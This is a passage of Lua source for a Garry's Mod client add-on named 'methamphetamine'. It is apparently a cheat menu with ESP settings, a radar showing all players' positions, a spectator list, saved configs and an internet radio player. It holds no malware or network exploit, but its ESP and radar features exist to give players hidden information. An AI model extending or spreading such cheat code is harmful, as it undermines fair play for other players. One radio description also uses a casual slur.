self.players:Add("Panel") 966 | self.players.lblpnl:Dock(TOP) 967 | self.players.lblpnl:SetTall(23) 968 | self.players.lblpnl.Paint = function(pnl,w,h) 969 | surface.SetDrawColor( methamphetamine.colors.border ) 970 | surface.DrawRect(5,h-1,w-10,1) 971 | end 972 | self.players.label = self.players.lblpnl:Add("DLabel") 973 | self.players.label:Dock(BOTTOM) 974 | self.players.label:SetText( "Players" ) 975 | self.players.label:SetFont( methamphetamine.default.font ) 976 | self.players.label:SetTextColor( methamphetamine.colors.text ) 977 | self.players.label:DockMargin(8,0,0,0) 978 | self.players.label:SizeToContents() 979 | 980 | local players = self.players 981 | 982 | players.panels = {} 983 | for k , v in ipairs( players.espdata.options ) do 984 | players.panels[k] = players:Add("methamphetamine.espoption") 985 | local option = players.panels[k] 986 | option:Dock(TOP) 987 | option:SetTall(20) 988 | option:DockMargin(4,1,4,1) 989 | option:SetText( v.name ) 990 | option.OnColourChanged = function(pnl,col) 991 | methamphetamine.mods["ESP"].colors[ v.name ] = col 992 | end 993 | option.activecol:Configure("ESP","colors",v.name) 994 | option.toggle.OnToggle = function(pnl,state) 995 | methamphetamine.mods["ESP"].enabled[ v.name ] = state 996 | end 997 | option.toggle:Configure("ESP","enabled",v.name) 998 | for k , op in ipairs( v.options or { name = "None" } ) do 999 | option:AddChoice( op.name , function(pnl,id,name) methamphetamine.mods["ESP"].types[ v.name ] = op.name end) 1000 | option:Configure("ESP","types",v.name) 1001 | end 1002 | for k , col in ipairs( v.colors or players.espdata.presets[5] ) do 1003 | option.espcol:AddChoice( col.name , function(panel,id,name) methamphetamine.mods["ESP"].colortype[ v.name ] = name end) 1004 | option.espcol:Configure("ESP","colortype",v.name) 1005 | end 1006 | end 1007 | 1008 | 1009 | self.miscplayers = self:Add("methamphetamine.panel") 1010 | self.miscplayers:Dock(LEFT) 1011 | self.miscplayers:SetPos(0,7) 1012 | self.miscplayers.lblpnl = self.miscplayers:Add("Panel") 1013 | self.miscplayers.lblpnl:Dock(TOP) 1014 | self.miscplayers.lblpnl:SetTall(23) 1015 | self.miscplayers.lblpnl.Paint = function(pnl,w,h) 1016 | surface.SetDrawColor( methamphetamine.colors.border ) 1017 | surface.DrawRect(5,h-1,w-10,1) 1018 | end 1019 | self.miscplayers.label = self.miscplayers.lblpnl:Add("DLabel") 1020 | self.miscplayers.label:Dock(BOTTOM) 1021 | self.miscplayers.label:SetText( "Misc Players" ) 1022 | self.miscplayers.label:SetFont( methamphetamine.default.font ) 1023 | self.miscplayers.label:SetTextColor( methamphetamine.colors.text ) 1024 | self.miscplayers.label:DockMargin(8,0,0,0) 1025 | self.miscplayers.label:SizeToContents() 1026 | local misc = self.miscplayers 1027 | 1028 | end 1029 | 1030 | function PANEL:PerformLayout(w,h) 1031 | self.players:SetWide(w*0.55-2) 1032 | self.players:DockMargin(0,0,2,0) 1033 | self.miscplayers:SetWide(w*0.45-2) 1034 | self.miscplayers:DockMargin(2,0,0,0) 1035 | 1036 | end 1037 | 1038 | 1039 | vgui.Register("methamphetamine.esp.player",PANEL) 1040 | 1041 | if not file.Exists("methamphetamine/configs","DATA") then 1042 | file.CreateDir("methamphetamine/configs") 1043 | end 1044 | 1045 | local PANEL = {} 1046 | 1047 | function PANEL:Init() 1048 | self.label = self:Add("DLabel") 1049 | self.label:SetFont( methamphetamine.default.font ) 1050 | self.label:SetTextColor( methamphetamine.colors.text ) 1051 | self.label:SetText("Available configs:") 1052 | self.label:SizeToContents() 1053 | self.label:SetPos(4,0) 1054 | self.configs = self:Add("Panel") 1055 | self.configs:SetPos(4,20) 1056 | self.configs:SetSize(150,270) 1057 | self.configs.Paint = function(pnl,w,h) 1058 | surface.SetDrawColor(methamphetamine.colors.buttonidle) 1059 | surface.DrawRect(0,0,w,h) 1060 | end 1061 | self.configs.list = self.configs:Add("DScrollPanel") 1062 | self.configs.list:Dock(FILL) 1063 | self.configs.list.configs = {} 1064 | self.buttons = self:Add("Panel") 1065 | self.buttons:SetPos(4,294) 1066 | self.buttons:SetSize(150,20) 1067 | self.refresh = self.buttons:Add("DButton") 1068 | self.refresh:Dock(LEFT) 1069 | self.refresh:SetText("Refresh") 1070 | self.refresh:SetFont( methamphetamine.default.font ) 1071 | self.refresh:SetTextColor( methamphetamine.colors.text ) 1072 | self.refresh:SizeToContents(8) 1073 | self.refresh.Paint = function(pnl,w,h) 1074 | surface.SetDrawColor(pnl:IsHovered() and methamphetamine.colors.border or methamphetamine.colors.hovered) 1075 | surface.DrawRect(0,0,w,h) 1076 | end 1077 | self.refresh.DoClick = function() 1078 | self:Refresh() 1079 | end 1080 | self.new = self.buttons:Add("DButton") 1081 | self.new:Dock(LEFT) 1082 | self.new:DockMargin(4,0,0,0) 1083 | self.new:SetText("New") 1084 | self.new:SetFont( methamphetamine.default.font ) 1085 | self.new:SetTextColor( methamphetamine.colors.text ) 1086 | self.new:SizeToContents(8) 1087 | self.new.Paint = function(pnl,w,h) 1088 | surface.SetDrawColor(pnl:IsHovered() and methamphetamine.colors.border or methamphetamine.colors.hovered) 1089 | surface.DrawRect(0,0,w,h) 1090 | end 1091 | self.new.DoClick = function(pnl) 1092 | Derma_StringRequest( 1093 | "Save config", 1094 | "Set a name for this config", 1095 | "", 1096 | function(text) 1097 | local dir = "methamphetamine/configs/".. text .. ".txt" 1098 | file.Write( dir , util.TableToJSON(methamphetamine.mods,true) ) 1099 | self:Refresh() 1100 | end 1101 | ) 1102 | end 1103 | 1104 | self:Refresh() 1105 | end 1106 | 1107 | function PANEL:Refresh() 1108 | self.configs.list:Clear() 1109 | local dir = "methamphetamine/configs" 1110 | local files,_ = file.Find( dir .. "/*.txt" , "DATA" ) 1111 | methamphetamine.configs = {} 1112 | for k , v in ipairs( files ) do 1113 | methamphetamine.configs[string.sub(v,1,#v-4)] = {util.JSONToTable( file.Read(dir.. "/".. v ) ),v} 1114 | end 1115 | 1116 | --PrintTable( methamphetamine.configs ) 1117 | for k , v in pairs( methamphetamine.configs ) do 1118 | self.configs.list.configs[#self.configs.list.configs + 1] = self.configs.list:Add("DButton") 1119 | local conf = self.configs.list.configs[#self.configs.list.configs ] 1120 | conf:Dock(TOP) 1121 | conf:SetTall(20) 1122 | conf.config = v[1] 1123 | conf.DoClick = function(pnl) 1124 | methamphetamine.mods = pnl.config 1125 | 1126 | hook.Run("methamphetamine.configLoaded",pnl.config) 1127 | end 1128 | conf.DoRightClick = function(pnl) 1129 | Derma_Query("Are you sure you want to remove ".. k .. "?","poo","Yes",function() 1130 | file.Delete( "methamphetamine/configs/"..v[2] ) 1131 | 1132 | self:Refresh() 1133 | end,"No",function() end) 1134 | end 1135 | conf.Paint = function(pnl,w,h) 1136 | surface.SetDrawColor(pnl:IsHovered() and methamphetamine.colors.border or methamphetamine.colors.hovered) 1137 | surface.DrawRect(0,0,w,h) 1138 | surface.SetTextPos(4,2) 1139 | surface.SetTextColor( methamphetamine.colors.text ) 1140 | surface.SetFont( methamphetamine.default.font ) 1141 | surface.DrawText( k ) 1142 | end 1143 | conf:SetText("") 1144 | end 1145 | end 1146 | vgui.Register("methamphetamine.configs",PANEL) 1147 | 1148 | -------------------------------------------------------------------------------- /lua/windows.lua: -------------------------------------------------------------------------------- 1 | local mods = { 2 | [0] = {} 3 | } 4 | 5 | function mods:Add( name , func ) 6 | mods[ #mods+1 ] = { 7 | isToggled = false, 8 | func = func, 9 | name = name, 10 | } 11 | mods[0][name] = mods[#mods] 12 | return mods[0][name] 13 | end 14 | 15 | mods:Add("Spectators", function( mod, toggle ) 16 | if not toggle then 17 | mod.panel:Remove() 18 | timer.Remove("methamphetamine.spectaterefresh") 19 | return 20 | end 21 | mod.panel = vgui.Create("methamphetamine.frame") 22 | mod.panel:SetSize(120,200) 23 | mod.panel:Center() 24 | mod.panel:SetTitle("Spectator List") 25 | mod.panel:SetResizeable( true ) 26 | mod.panel:SetZPos(-1) 27 | mod.panel.names = {} 28 | timer.Create("methamphetamine.spectaterefresh",5,0, function() 29 | if not IsValid( mod.panel ) then timer.Remove("methamphetamine.spectaterefresh") return end 30 | for k , v in ipairs(mod.panel.names) do 31 | v:Remove() 32 | end 33 | for k , v in ipairs( player.GetAll() ) do 34 | if v:GetObserverTarget() == LocalPlayer() then 35 | mod.panel.names[#mod.panel.names + 1] = mod.panel:Add("DLabel") 36 | local pnl = mod.panel.names[#mod.panel.names] 37 | pnl:Dock(TOP) 38 | pnl:DockMargin(4,2,4,2) 39 | pnl:SetFont( methamphetamine.default.font ) 40 | pnl:SetText( v:Nick() ) 41 | pnl:SizeToContents() 42 | end 43 | end 44 | end) 45 | 46 | end) 47 | local plyarrow = Material("meth/player-arrow.png") 48 | surface.CreateFont("methamphetamine.radar", { 49 | font = "Raleway", 50 | size = 12, 51 | weight = 100, 52 | }) 53 | mods:Add("Radar", function( mod, toggle ) 54 | if not toggle then 55 | mod.panel:Remove() 56 | return 57 | end 58 | mod.panel = vgui.Create("methamphetamine.frame") 59 | mod.panel:SetSize(290,290) 60 | mod.panel:Center() 61 | mod.panel:SetTitle("Radar") 62 | mod.panel:SetResizeable( true ) 63 | mod.panel:SetZPos(-1) 64 | mod.panel.scale = 0.1 65 | local plycol = color_white 66 | local deadplayerarrow = Color(240,90,90) 67 | mod.panel.PaintOver = function(pnl,w,h) 68 | 69 | local angs = LocalPlayer():GetAngles() 70 | surface.SetMaterial( plyarrow ) 71 | surface.SetDrawColor( plycol ) -- YOU 72 | surface.DrawTexturedRectRotated(w/2-8,h/2-8,16,16, angs.y ) 73 | for k , v in ipairs( player.GetAll() ) do 74 | --if LocalPlayer():GetPos():DistToSqr( v:GetPos() ) > 300*300 or v == LocalPlayer() then return end 75 | if v == LocalPlayer() then goto skip end 76 | 77 | local plypos = (LocalPlayer():GetShootPos() - v:GetPos()) 78 | --print( plypos ) 79 | local plyang = v:EyeAngles() 80 | surface.SetMaterial( plyarrow ) 81 | surface.SetDrawColor( not v:Alive() and deadplayerarrow or plycol ) 82 | surface.DrawTexturedRectRotated( w/2 + (plypos.y * pnl.scale) - 8 , h/2 + (plypos.x*pnl.scale) - 8 ,16,16, plyang.y ) 83 | draw.SimpleText( v:Nick() , "methamphetamine.radar", w/2 + (plypos.y * pnl.scale) - 8 , h/2 + (plypos.x*pnl.scale) , color_white, 1 ) 84 | ::skip:: 85 | end 86 | end 87 | 88 | end) 89 | 90 | mods:Add("Test Search", function( mod , toggle ) 91 | if not toggle then 92 | mod.panel:Remove() 93 | return 94 | end 95 | mod.panel = vgui.Create("methamphetamine.frame") 96 | mod.panel:SetSize(450,292) 97 | mod.panel:Center() 98 | mod.panel:SetTitle("Test Search") 99 | mod.panel:SetResizeable( true ) 100 | mod.panel.search = mod.panel:Add("methamphetamine.search") 101 | mod.panel.search:Dock(TOP) 102 | mod.panel.search:SetTall(20) 103 | mod.panel.search:DockMargin(6,6,6,6) 104 | 105 | end) 106 | 107 | local radiostations = {} 108 | if not file.Exists("methamphetamine/radio", "DATA") then 109 | file.CreateDir("methamphetamine/radio") 110 | end 111 | local txt = file.Read("methamphetamine/radio/recent.txt", "DATA") 112 | if not file.Exists("methamphetamine/radio/recent.txt", "DATA") then file.Write("methamphetamine/radio/recent.txt", util.TableToJSON({}) ) end 113 | local function recent( name , url ) 114 | local data = file.Read("methamphetamine/radio/recent.txt", "DATA") 115 | local tbl = util.JSONToTable( data ) 116 | tbl[#tbl + 1] = {name = name, url = url} 117 | file.Write( "methamphetamine/radio/recent.txt", util.TableToJSON(tbl,true) ) 118 | end 119 | local data = function() 120 | return util.JSONToTable(file.Read("methamphetamine/radio/recent.txt","DATA")) 121 | end 122 | --methamphetamine.currentradiostation = methamphetamine.currentradiostation 123 | methamphetamine.currentradiostationname = 'Nothing' 124 | 125 | local function PlaySong( link ) 126 | if IsValid( methamphetamine.currentradiostation ) then 127 | methamphetamine.currentradiostation:Stop() 128 | end 129 | sound.PlayURL( link , "noblock", function(chan, err, errstr) 130 | if IsValid( chan ) then 131 | hook.Add("Think","methamphetamine.radio",function() 132 | 133 | chan:SetPos( LocalPlayer():GetPos() ) 134 | 135 | end) 136 | methamphetamine.currentradiostation = chan 137 | else 138 | MsgC("Invalid URL (" .. link .. ")" ) 139 | end 140 | end) 141 | 142 | end 143 | --PlaySong("https://dl5.youtubetomp3music.com/file/youtubeszrDcTGvp7o128.mp3?fn=STORMZY%20%E2%80%93%20RAINFALL%20(FEAT.%20TIANA%20MAJOR9).mp3") 144 | local function playYTUrl( url ) 145 | local _,start = string.find( url, "youtube.com/") 146 | local url = "https://www.320youtube.com/v7".. string.sub( url , start, #url ) 147 | print( url ) 148 | local newURL = "" 149 | http.Fetch( url , function( body, len, headers, code ) 150 | local start,_end = ( string.find( body , ".ytapivmp3.com/download") ) 151 | local megaEnd = string.find( string.sub(body, start) , "/1\"" ) 152 | --print( start, megaEnd ) 153 | --print( string.sub( body , start, start + megaEnd ) ) 154 | local urlStart = string.find( string.sub( body , start - 61 , start ), "https:" ) 155 | newURL = ( string.sub( body , start + urlStart - 60 , start + megaEnd ) ) 156 | --print("URL START = ", string.sub( body , start + urlStart - 60 , start + megaEnd ) ) 157 | --print("URL START = ", "ht"..newURL ) 158 | newURL = "ht"..newURL 159 | --local newURL = string.sub( body , urlStart, megaEnd ) 160 | --print( newURL ) 161 | sound.PlayURL ( newURL , "noblock", function( station ) 162 | --print("CALLED_123213") 163 | -- if _station then 164 | if ( IsValid( station ) ) then 165 | if IsValid( methamphetamine.currentradiostation ) then 166 | methamphetamine.currentradiostation:Stop() 167 | end 168 | methamphetamine.currentradiostation = station 169 | 170 | -- _station:Stop() 171 | -- end 172 | -- _station = station 173 | 174 | hook.Add("Think", "methamphetamine.radiofollow", function() 175 | if IsValid( methamphetamine.currentradiostation ) then 176 | methamphetamine.currentradiostation:SetPos( EyePos() ) 177 | else 178 | hook.Remove("Think", "methamphetamine.radiofollow") 179 | end 180 | end) 181 | 182 | methamphetamine.currentradiostation:Play() 183 | 184 | http.Fetch(newURL, function( body, length, headers, code ) 185 | local start,ends,_ = string.find( body , "",20,true) 186 | local _end,_,_ = string.find( body , "</title", 20, true ) 187 | local title = string.sub(body,ends+1,_end-1) 188 | local removestart,removeend,_ = string.find(title,"| 320") 189 | local title = string.sub(title,0,removestart-1) 190 | methamphetamine.currentradiostationname = title 191 | 192 | end) 193 | 194 | 195 | else 196 | 197 | LocalPlayer:ChatPrint( "Invalid URL!" ) 198 | 199 | end 200 | end ) 201 | end) 202 | print("\n\nPLAYING ", tostring(newURL) , "\n\n") 203 | 204 | end 205 | 206 | 207 | 208 | methamphetamine.radiostations = { 209 | { 210 | Name = "Drive Radio", 211 | Link = "http://listen.radionomy.com/drive.m3u", 212 | Description = "the radio station striictly for driving", 213 | }, 214 | { 215 | Name = "Classic Rock Florida", 216 | Link = "https://vip2.fastcast4u.com/proxy/classicrockdoug?mp=/1", 217 | Description = "tends to be a little gay", 218 | }, 219 | { 220 | Name = "Soma.fm", 221 | Link = "http://somafm.com/groovesalad.pls", 222 | Description = "soma fm", 223 | }, 224 | { 225 | Name = "Chillhop", 226 | Link = "https://stream.amazingradios.com/chillhop", 227 | Description = "chill hop", 228 | }, 229 | { 230 | Name = "Smooth Jazz", 231 | Link = "https://www.internet-radio.com/servers/tools/playlistgenerator/?u=http://us4.internet-radio.com:8266/listen.pls&t=.m3u", 232 | Description = "Smooth jazz", 233 | }, 234 | { 235 | Name = "Oldies", 236 | Link = "https://www.internet-radio.com/servers/tools/playlistgenerator/?u=http://uk3.internet-radio.com:8405/live.m3u&t=.m3u", 237 | Description = "Old people music or something", 238 | }, 239 | { 240 | Name = "Radio Charwell", 241 | Link = "https://www.internet-radio.com/servers/tools/playlistgenerator/?u=http://uk6.internet-radio.com:8144/listen.pls&t=.m3u", 242 | Description = "Radio yes", 243 | }, 244 | { 245 | Name = "Reggae", 246 | Link = "https://www.internet-radio.com/servers/tools/playlistgenerator/?u=http://uk6.internet-radio.com:8213/listen.pls&t=.m3u", 247 | Description = "Jamaica", 248 | }, 249 | { 250 | Name = "Meagton Cafe", 251 | Link = "https://www.internet-radio.com/servers/tools/playlistgenerator/?u=http://us2.internet-radio.com:8443/listen.pls&t=.m3u", 252 | Description = "Piano songs i guess", 253 | }, 254 | { 255 | Name = "K-Pop", 256 | Link = "https://www.internet-radio.com/servers/tools/playlistgenerator/?u=http://167.114.64.181:8325/listen.pls?sid=1&t=.m3u", 257 | Description = "Nani", 258 | }, 259 | { 260 | Name = "Telemedellin Radio", 261 | Link = "https://www.internet-radio.com/servers/tools/playlistgenerator/?u=http://51.222.14.10:8058/listen.pls?sid=1&t=.m3u", 262 | Description = "Telemedellin" 263 | }, 264 | } 265 | 266 | local pausemat = Material("meth/pause.png") 267 | local playmat = Material("meth/play.png") 268 | local skipmat = Material("meth/skip.png") 269 | local skipbackmat = Material("meth/skipback.png") 270 | 271 | local PANEL = {} 272 | function PANEL:Init() 273 | self.contents = self:Add("Panel") 274 | self.contents:Dock(FILL) 275 | self.scroll = self.contents:Add("DScrollPanel") 276 | self.scroll:Dock(FILL) 277 | local vbar = self.scroll:GetVBar() 278 | vbar:SetHideButtons( true ) 279 | vbar.Paint = function(pnl,w,h) 280 | draw.RoundedBox(4,0,0,w,h,methamphetamine.colors.gripbackground) 281 | end 282 | vbar.btnGrip.Paint = function(pnl,w,h) 283 | draw.RoundedBox(4,0,0,w,h,methamphetamine.colors.grip) 284 | end 285 | vbar:SetWide(4) 286 | vbar:DockMargin(1,1,1,1) 287 | for k , v in ipairs(methamphetamine.radiostations) do 288 | local song = self.scroll:Add("DPanel") 289 | song:Dock(TOP) 290 | song:SetTall(40) 291 | song.table = v 292 | song.Paint = function(pnl,w,h) 293 | draw.SimpleText(v.Name,methamphetamine.default.font,8,8,methamphetamine.colors.text,0,0) 294 | draw.SimpleText(v.Description,methamphetamine.default.font,8,25,methamphetamine.colors.activebutton,0,2) 295 | end 296 | song.play = song:Add("DButton") 297 | song.play:Dock(RIGHT) 298 | song.play:SetWide( song:GetTall() ) 299 | song.play:SetText("") 300 | song.play.Paint = function(pnl,w,h) 301 | surface.SetMaterial( playmat ) 302 | surface.SetDrawColor( pnl:IsHovered() and methamphetamine.colors.disabledtext or methamphetamine.colors.activebutton ) 303 | surface.DrawTexturedRect(8,8,w-16,h-16) 304 | end 305 | song.play.DoClick = function(pnl) 306 | methamphetamine.currentradiostationname = v.Name 307 | PlaySong( v.Link ) 308 | end 309 | end 310 | end 311 | vgui.Register("methamphetamine.radiopage", PANEL) 312 | 313 | 314 | mods:Add("Radio Stations", function( mod , toggle ) 315 | if not toggle then 316 | mod.panel:Remove() 317 | return 318 | end 319 | mod.panel = vgui.Create("methamphetamine.frame") 320 | mod.panel:SetSize(350,400) 321 | mod.panel:Center() 322 | mod.panel:SetTitle("Radio Stations") 323 | mod.panel.current = mod.panel:Add("Panel") 324 | mod.panel.current:Dock(TOP) 325 | mod.panel.current:DockMargin(0,5,0,0) 326 | mod.panel.current:SetTall(80) 327 | mod.panel.current.Paint = function(pnl,w,h) 328 | draw.SimpleText("Currently Playing \"" .. methamphetamine.currentradiostationname .. "\"" , methamphetamine.default.font, w/2, h*0.2, methamphetamine.colors.text,1,1 ) 329 | draw.RoundedBox(4,w*0.15,h*0.4,w*0.7,4, methamphetamine.colors.border ) 330 | if IsValid(methamphetamine.currentradiostation) then 331 | draw.RoundedBox(6,w*0.15 + (methamphetamine.currentradiostation:GetTime()/methamphetamine.currentradiostation:GetLength()) * w*0.7,h*0.4-3,6,6, methamphetamine.colors.border) 332 | draw.RoundedBox( 6,w*0.15,h*0.4, (methamphetamine.currentradiostation:GetTime()/methamphetamine.currentradiostation:GetLength()) * w*0.7,4, methamphetamine.colors.activebutton ) 333 | draw.RoundedBox(8,w*0.15 + (methamphetamine.currentradiostation:GetTime()/methamphetamine.currentradiostation:GetLength()) * w*0.7 - 2, h*0.4 -2 , 8,8, methamphetamine.colors.activebutton) 334 | draw.SimpleText( string.FormattedTime(methamphetamine.currentradiostation:GetLength()-(methamphetamine.currentradiostation:GetLength()-methamphetamine.currentradiostation:GetTime()), "%02i:%02i" ), methamphetamine.default.font , w*0.15 , h*0.4+3 , methamphetamine.colors.text, 0,2 ) 335 | draw.SimpleText( (methamphetamine.currentradiostation:GetLength() < 0 and "Inf") or string.FormattedTime(methamphetamine.currentradiostation:GetLength(), "%02i:%02i" ), methamphetamine.default.font , w*0.85 , h*0.4+3 , methamphetamine.colors.text, TEXT_ALIGN_RIGHT,2 ) 336 | end 337 | end 338 | -- mod.panel.current.slider = mod.panel.current:Add("DButton") 339 | -- --mod.panel.current.slider:SetPos(8,w*0.15 + (methamphetamine.currentradiostation:GetTime()/methamphetamine.currentradiostation:GetLength()) * w*0.7 - 2) 340 | -- mod.panel.current.slider:SetSize(8,8) 341 | -- mod.panel.current.slider.Paint = function(pnl,w,h) 342 | -- draw.RoundedBox(8,0,0,w,h,methamphetamine.colors.activebutton) 343 | -- end 344 | -- mod.panel.current.slider.ypos = mod.panel.current:GetTall()*0.4-3 345 | -- mod.panel.current.slider.Think = function(pnl) 346 | -- if IsValid( methamphetamine.currentradiostation ) then 347 | -- pnl:SetPos(mod.panel.current:GetWide()*0.15 + (methamphetamine.currentradiostation:GetTime()/methamphetamine.currentradiostation:GetLength()) * mod.panel.current:GetWide()*0.7, pnl.ypos ) 348 | -- end 349 | -- end 350 | -- mod.panel.current.slider.DoClick = function(pnl) 351 | -- if IsValid( methamphetamine.currentradiostation ) then 352 | -- local x,y = input.GetCursorPos() 353 | -- local w,h = mod.panel.current:GetSize() 354 | -- local x1,y1 = mod.panel.current:LocalToScreen() 355 | -- local sx,sy = pnl:GetSize() 356 | -- local diff = ((x-x1)/(w))*methamphetamine.currentradiostation:GetLength() 357 | -- methamphetamine.currentradiostation:SetTime( diff ) 358 | -- end 359 | -- end 360 | 361 | mod.panel.current.toggle = mod.panel.current:Add("DButton") 362 | mod.panel.current.toggle:SetSize(26,26) 363 | mod.panel.current.toggle:SetText("") 364 | mod.panel.current.toggle.Paint = function(pnl,w,h) 365 | surface.SetMaterial( not pnl.Paused and pausemat or playmat ) 366 | surface.SetDrawColor( pnl:IsHovered() and methamphetamine.colors.disabledtext or methamphetamine.colors.activebutton ) 367 | surface.DrawTexturedRect(0,0,w-0,h-0) 368 | end 369 | mod.panel.current.toggle.Paused = false 370 | mod.panel.current.toggle.DoClick = function(pnl) 371 | if not IsValid( methamphetamine.currentradiostation ) then return end 372 | if not pnl.Paused then 373 | methamphetamine.currentradiostation:Pause() 374 | pnl.Paused = true 375 | return 376 | end 377 | methamphetamine.currentradiostation:Play() 378 | pnl.Paused = false 379 | end 380 | 381 | mod.panel.current.skip = mod.panel.current:Add("DButton") 382 | mod.panel.current.skip:SetSize(26,26) 383 | mod.panel.current.skip:SetText("") 384 | mod.panel.current.skip.Paint = function(pnl,w,h) 385 | surface.SetMaterial( skipmat ) 386 | surface.SetDrawColor( pnl:IsHovered() and methamphetamine.colors.disabledtext or methamphetamine.colors.activebutton ) 387 | surface.DrawTexturedRect(1,1,w-2,h-2) 388 | end 389 | mod.panel.current.skip.DoClick = function(pnl) 390 | if not IsValid( methamphetamine.currentradiostation ) then return end 391 | 392 | end 393 | 394 | mod.panel.current.skipback = mod.panel.current:Add("DButton") 395 | mod.panel.current.skipback:SetSize(26,26) 396 | mod.panel.current.skipback:SetText("") 397 | mod.panel.current.skipback.Paint = function(pnl,w,h) 398 | surface.SetMaterial( skipbackmat ) 399 | surface.SetDrawColor( pnl:IsHovered() and methamphetamine.colors.disabledtext or methamphetamine.colors.activebutton ) 400 | surface.DrawTexturedRect(1,1,w-2,h-2) 401 | end 402 | mod.panel.current.skipback.DoClick = function(pnl) 403 | if not IsValid( methamphetamine.currentradiostation ) then return end 404 | 405 | end 406 | 407 | 408 | mod.panel.current.PerformLayout = function(pnl,w,h) 409 | mod.panel.current.toggle:SetPos( w /2 - 13, h *0.62 ) 410 | mod.panel.current.skip:SetPos( w /2 + 13 + 3, h *0.62 ) 411 | mod.panel.current.skipback:SetPos( w/2 - 26 - 13 -3, h *0.62 ) 412 | end 413 | 414 | mod.panel.channels = mod.panel:Add("methamphetamine.submods") 415 | mod.panel.channels:Dock(FILL) 416 | mod.panel.channels:AddCheat("Radio", "methamphetamine.radiopage") 417 | mod.panel.channels:AddCheat("Youtube", "DButton") 418 | mod.panel.channels:AddCheat("History", "DButton") 419 | end) 420 | 421 | local PANEL = {} 422 | function PANEL:Init() 423 | self.list = self:Add("DScrollPanel") 424 | local vbar = self.list:GetVBar() 425 | vbar:SetHideButtons( true ) 426 | vbar.Paint = function(pnl,w,h) 427 | draw.RoundedBox(4,0,0,w,h,methamphetamine.colors.gripbackground) 428 | end 429 | vbar.btnGrip.Paint = function(pnl,w,h) 430 | draw.RoundedBox(4,0,0,w,h,methamphetamine.colors.grip) 431 | end 432 | vbar:SetWide(4) 433 | vbar:DockMargin(0,2,2,2) 434 | self.list:Dock(FILL) 435 | self:AddLine("Name","SteamID","Team","Friend",nil,true) 436 | for k , v in ipairs( player.GetAll()) do 437 | self:AddLine( v:Name(),v:SteamID(), team.GetName(v:Team()), methamphetamine.friends[v] and "Yes" or "No",v ) 438 | end 439 | end 440 | 441 | function PANEL:AddLine( name,sid,team,friend,obj,underline ) 442 | local line = self.list:Add("DPanel") 443 | line:Dock(TOP) 444 | line:SetTall(20) 445 | line.ply = obj 446 | line.friendtxt = friend 447 | line:DockMargin(0,0,0,0) 448 | line.Paint = function(pnl,w,h) 449 | if underline then 450 | surface.SetDrawColor( methamphetamine.colors.activebutton ) 451 | surface.DrawRect(0,h-1,w,1) 452 | end 453 | surface.DrawRect((550/4)*1,0,1,h) 454 | surface.DrawRect((550/4)*2,0,1,h) 455 | surface.DrawRect((550/4)*3,0,1,h) 456 | surface.DrawRect((550/4)*4,0,1,h) 457 | end 458 | line.name = line:Add("DButton") 459 | line.name:Dock(LEFT) 460 | line.name:SetText("") 461 | line.name:SetWide( 550/4 ) 462 | line.name.Paint = function(pnl,w,h) 463 | surface.SetDrawColor( pnl:IsHovered() and methamphetamine.colors.activebutton or color_transparent ) 464 | surface.DrawRect(0,0,w,h) 465 | surface.SetDrawColor( methamphetamine.colors.activebutton ) 466 | -- surface.DrawRect(w-1,0,1,h) 467 | draw.SimpleText( name, methamphetamine.default.font, 8,h/2, methamphetamine.colors.text,0,1 ) 468 | end 469 | line.sid = line:Add("DButton") 470 | line.sid:Dock(LEFT) 471 | line.sid:SetText("") 472 | line.sid:SetWide( 550/4 ) 473 | line.sid.Paint = function(pnl,w,h) 474 | surface.SetDrawColor( pnl:IsHovered() and methamphetamine.colors.activebutton or color_transparent ) 475 | surface.DrawRect(0,0,w,h) 476 | surface.SetDrawColor( methamphetamine.colors.activebutton ) 477 | 478 | draw.SimpleText( sid , methamphetamine.default.font, 8,h/2, methamphetamine.colors.text,0,1 ) 479 | 480 | end 481 | line.team = line:Add("DButton") 482 | line.team:Dock(LEFT) 483 | line.team:SetText("") 484 | line.team:SetWide( 550/4 ) 485 | line.team.Paint = function(pnl,w,h) 486 | surface.SetDrawColor( pnl:IsHovered() and methamphetamine.colors.activebutton or color_transparent ) 487 | surface.DrawRect(0,0,w,h) 488 | surface.SetDrawColor( methamphetamine.colors.activebutton ) 489 | 490 | -- surface.DrawRect(w-1,0,1,h) 491 | draw.SimpleText( team, methamphetamine.default.font, 8,h/2, methamphetamine.colors.text,0,1 ) 492 | end 493 | 494 | line.friend = line:Add("DButton") 495 | line.friend:Dock(LEFT) 496 | line.friend:SetText("") 497 | line.friend:SetWide( 550/4 ) 498 | line.friend.Paint = function(pnl,w,h) 499 | surface.SetDrawColor( pnl:IsHovered() and methamphetamine.colors.activebutton or color_transparent ) 500 | surface.DrawRect(0,0,w,h) 501 | surface.SetDrawColor( methamphetamine.colors.activebutton ) 502 | -- surface.DrawRect(w-1,0,1,h) 503 | draw.SimpleText( line.friendtxt, methamphetamine.default.font, 8,h/2, methamphetamine.colors.text,0,1 ) 504 | end 505 | line.friend.DoClick = function(pnl) 506 | if line.ply then 507 | methamphetamine.friends[line.ply] = not (methamphetamine.friends[line.ply] or false) 508 | line.friendtxt = methamphetamine.friends[line.ply] and "Yes" or "No" 509 | end 510 | end 511 | end 512 | vgui.Register("methamphetamine.playerlist", PANEL) 513 | local PANEL = {} 514 | 515 | function PANEL:Init() 516 | self.list = self:Add("DScrollPanel") 517 | local vbar = self.list:GetVBar() 518 | vbar:SetHideButtons( true ) 519 | vbar.Paint = function(pnl,w,h) 520 | draw.RoundedBox(4,0,0,w,h,methamphetamine.colors.gripbackground) 521 | end 522 | vbar.btnGrip.Paint = function(pnl,w,h) 523 | draw.RoundedBox(4,0,0,w,h,methamphetamine.colors.grip) 524 | end 525 | vbar:SetWide(4) 526 | vbar:DockMargin(0,2,2,2) 527 | self.list:Dock(FILL) 528 | self:AddLine("Name","Shown on ESP",true) 529 | for k , v in SortedPairs(scripted_ents.GetList()) do 530 | print(k,v) 531 | self:AddLine( v.t.ClassName, methamphetamine.mods["ESP"].Entities[v.ClassName] or false ) 532 | end 533 | end 534 | 535 | function PANEL:AddLine( classname,shown,underline ) 536 | local line = self.list:Add("DPanel") 537 | line:Dock(TOP) 538 | line:SetTall(20) 539 | line:DockMargin(0,0,0,0) 540 | line.Paint = function(pnl,w,h) 541 | surface.SetDrawColor( methamphetamine.colors.activebutton ) 542 | if underline then 543 | surface.DrawRect(0,h-1,w,1) 544 | draw.SimpleText("Shown on ESP", methamphetamine.default.font , w/2 + 10 , h/2 , methamphetamine.colors.text ,0,1) 545 | end 546 | surface.DrawRect((550/2),0,1,h) 547 | 548 | end 549 | 550 | line.name = line:Add("DButton") 551 | 